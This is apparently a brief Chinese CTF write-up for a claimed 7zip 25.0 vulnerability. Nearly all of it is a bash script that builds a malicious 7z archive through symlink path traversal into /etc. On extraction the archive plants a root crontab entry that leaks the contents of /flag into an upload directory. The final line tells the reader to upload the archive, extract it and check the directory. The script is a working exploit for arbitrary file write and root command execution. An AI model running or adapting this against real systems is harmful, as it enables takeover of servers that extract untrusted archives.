7zip 25.0 漏洞：

脚本：

cat > bash.sh << 'EOF'
#!/bin/bash
BINARYPATH="/tmp/7zz"
olddir="$(pwd)"

mkdir /tmp/temp
tempdir="/tmp/temp"
cd "$tempdir"

mkdir -p a/b
ln -s /a a/b/link
$BINARYPATH a write.7z a/b/link -snl

ln -s a/b/link/../../../etc/ link
$BINARYPATH a write.7z link -snl

rm link
mkdir link
echo "* * * * * root mkdir /app/uploads/`cat /flag`" > link/crontab
$BINARYPATH a write.7z link/crontab

cp write.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"
EOF

上传解压再看文件目录即可